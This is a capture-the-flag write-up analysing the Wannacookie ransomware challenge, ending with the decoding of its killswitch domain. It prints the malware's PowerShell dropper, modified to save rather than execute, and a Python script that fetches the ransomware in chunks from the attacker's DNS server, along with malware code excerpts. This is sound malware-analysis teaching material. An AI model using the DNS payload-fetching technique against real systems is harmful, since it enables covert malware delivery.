Identify a way to stop the malware in its tracks!
Unfortunately, Snort alerts show multiple domains, so blocking that one won't be effective. I remember another ransomware in recent history had a killswitch domain that, when registered, would prevent any further infections. Perhaps there is a mechanism like that in this ransomware? Do some more analysis and see if you can find a fatal flaw and activate it!
For hints on achieving this objective, please visit Shinny Upatree and help him with the Sleigh Bell Lottery Cranberry Pi terminal challenge.
Have you heard that Kringle Castle was hit by a new ransomware called Wannacookie?
Several elves reported receiving a cookie recipe Word doc. When opened, a PowerShell screen flashed by and their files were encrypted.
Many elves were affected, so Alabaster went to go see if he could help out.
I hope Alabaster watched the PowerShell Malware talk at KringleCon before he tried analyzing Wannacookie on his computer.
An elf I follow online said he analyzed Wannacookie and that it communicates over DNS.
He also said that Wannacookie transfers files over DNS and that it looks like it grabs a public key this way.
Another recent ransomware made it possible to retrieve crypto keys from memory. Hopefully the same is true for Wannacookie!
Of course, this all depends how the key was encrypted and managed in memory. Proper public key encryption requires a private key to decrypt.
Perhaps there is a flaw in the wannacookie author's DNS server that we can manipulate to retrieve what we need.
If so, we can retrieve our keys from memory, decrypt the key, and then decrypt our ransomed files.
Ransomware Kill Switches hint from
I think I remember reading an article recently about Ransomware Kill Switchs.
Wouldn't it be nice if our ransomware had one!
To get the ransomware for analysis, several methods can be used.
extract from snort
traffic logs from Catch the Malware challenge;
tcpdump -nr snort.log.pcap | grep -oE '\"([0-9a-f]+)\"' | tr -d '"' | uniq | tail -n +2 | tr -d '\n' | xxd -r -p > wannacookie.min.ps1
download with malware dropper found in Identify the Domain challenge;
From original dropper payload remove iex
(to not execute downloaded script) and add | Out-File wannacookie.min.ps1
at the end of it.
function H2A($a) {$o; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; ($(H2A $h | Out-string)) | Out-File wannacookie.min.ps1
use malware dropper's functionality seen in both challenges;
Malware is being downloaded in these steps:
wannacookie.min.ps1
to 77616E6E61636F6F6B69652E6D696E2E707331
.erohetfanu.com
as DNS server) of type TXT
is made to <hex-encoded-filename>.erohetfanu.com
for getting count
of necessary parts, e.g.,
request to 77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu.com
returns 64
.
$ nslookup -q=TXT 77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu.com erohetfanu.com
Server: erohetfanu.com
Address: 104.196.126.19#53
77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu.com text = "64"
erohetfanu.com
as DNS server) of TXT
type are made to <nr>.<hex-encoded-filename>.erohetfanu.com
for retrieving all file parts (answers are hex-encoded), where nr
is from 1
till count
, e.g.,
request for last file part 63.77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu.com
returns 6f7028297d7d3b77616e633b0a
, which is "op()}};wanc;\n
".$ nslookup -q=TXT 63.77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu.com erohetfanu.com
Server: erohetfanu.com
Address: 104.196.126.19#53
63.77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu.com text = "6f7028297d7d3b77616e633b0a"
Small helper utility malware-get.py was written, which implements these steps.
#!/usr/bin/env python3
import sys, dns.resolver
r = dns.resolver.Resolver()
r.nameservers = [r.query('erohetfanu.com', 'a')[0].address]
f = sys.argv[1].encode().hex()
q = lambda v: r.query(v + '.erohetfanu.com', 'txt')[0].to_text().strip('"')
z = u''.join([q(u'{0}.{1}'.format(i, f)) for i in range(int(q(f)))])
sys.stdout.write(bytes.fromhex(z).decode())
./malware-get.py wannacookie.min.ps1 > wannacookie.min.ps1
$ sha256 wannacookie.min.ps1
SHA256 (wannacookie.min.ps1) = 2dc340bf960ced8365912d6b5684f4ef0eadee16d90a34331e1e99ffcc6e2bd4
As the code of wannacookie.min.ps1
(wannacookie.min.ps1.zip
, password protected: KringleCon2018
) is minified, it's hard to read and understand it, so it needs to be cleaned up.
A good starting point is to replace ;
with newline and add one before }
and after {
.
Also, add a newline before each function
.
cat wannacookie.min.ps1 | perl -pe 's#;#;\n#g' | perl -pe "s#\{#{\n#g" | perl -pe "s#\}#\n}#g" | perl -pe 's#^function#\nfunction#g' > wannacookie.fix1.ps1
Use PSScriptAnalyzer to format code more readable.
PS /kc18> Install-Module -Name PSScriptAnalyzer -Force
PS /kc18> Invoke-Formatter (Get-Content -Path ./wannacookie.fix1.ps1 -Raw) | Out-File ./wannacookie.fix2.ps1
Manually fix unnecessary newlines within quotes (lines 71-73
, 95-97
, 262-264
, 275-279
) and fix unnecessary newline in for
loops (lines 114-116
and 166-168
), save it to wannacookie.fix3.ps1
.
Then replace ;
at the end of lines with a newline.
cat wannacookie.fix3.ps1 | perl -pe 's#;\n#\n#g' > wannacookie.fix4.ps1
All of that results (archives are password protected: KringleCon2018
) in following files:
wannacookie.fix1.ps1
(wannacookie.fix1.ps1.zip
)wannacookie.fix2.ps1
(wannacookie.fix2.ps1.zip
)wannacookie.fix3.ps1
(wannacookie.fix3.ps1.zip
)wannacookie.fix4.ps1
(wannacookie.fix4.ps1.zip
)
Another approach is to abuse the functionality of wannacookie
author's DNS and just download the original source code by specifying to retrieve wannacookie.ps1
instead of wannacookie.min.ps1
.
$ ./malware-get.py wannacookie.ps1 > wannacookie.ps1
$ sha256 wannacookie.ps1
SHA256 (wannacookie.ps1) = 81bff2602511f6ae29ea89202e4ec4d832a1ce3361caf4209b9f36c0ecd9f842
Curiously, compare the original source to cleaned minified source. Before that, fix line endings.
cat wannacookie.ps1 | tr '\r' '\n' > wannacookie.cr.ps1
diff -wruN wannacookie.cr.ps1 wannacookie.fix4.ps1
Turns out, it is pretty close, except that some functions and variables are named more understandable, e.g. e_d_file
is Enc_Dec-File
and so on.KringleCon2018
) in following files:
Analyzing the code and looking for early return
in main function wannacookie
, reveals that there are three cases, when malware exits early.
$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"
if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return}
if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {return}
Firstly, malware exits, if it's already running. Secondly, it exits if the computer is not in KRINGLECASTLE
domain. Curious is the third and final case.
DNS look up is made to check for existence of domain. If the domain exists, the malware will exit.
Name of the domain is determined in interesting way, and after analyzing the functions, it is as simple as two values being xor
-ed.
gzip
compressed.
$ echo 1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000 | xxd -r -p | gunzip | xxd -p
1f0f0202171d020c0b09075604070a0a
erohetfanu.com
as DNS server) of type TXT
made to 6B696C6C737769746368.erohetfanu.com
.6B696C6C737769746368
decodes to killswitch
.
$ nslookup -q=TXT 6B696C6C737769746368.erohetfanu.com erohetfanu.com
Server: erohetfanu.com
Address: 104.196.126.19#53
6B696C6C737769746368.erohetfanu.com text = "66667272727869657268667865666B73"
XORing 1f0f0202171d020c0b09075604070a0a
with 66667272727869657268667865666B73
returns the domain yippeekiyaa.aaay.
$ python3
>>> import codecs
>>> v1 = codecs.decode('1f0f0202171d020c0b09075604070a0a', 'hex')
>>> v2 = codecs.decode('66667272727869657268667865666B73', 'hex')
>>> print(''.join(chr(a ^ b) for a,b in zip(v1,v2)))
yippeekiyaa.aaay
Opening HoHoHo Daddy ...
... and registering domain yippeekiyaa.aaay solves the challenge.
Yippee-Ki-Yay! Now, I have a ma... kill-switch!
Die Hard (1988): Ho Ho Ho Scene
Die Hard (1988): Yippee-Ki-Yay Scene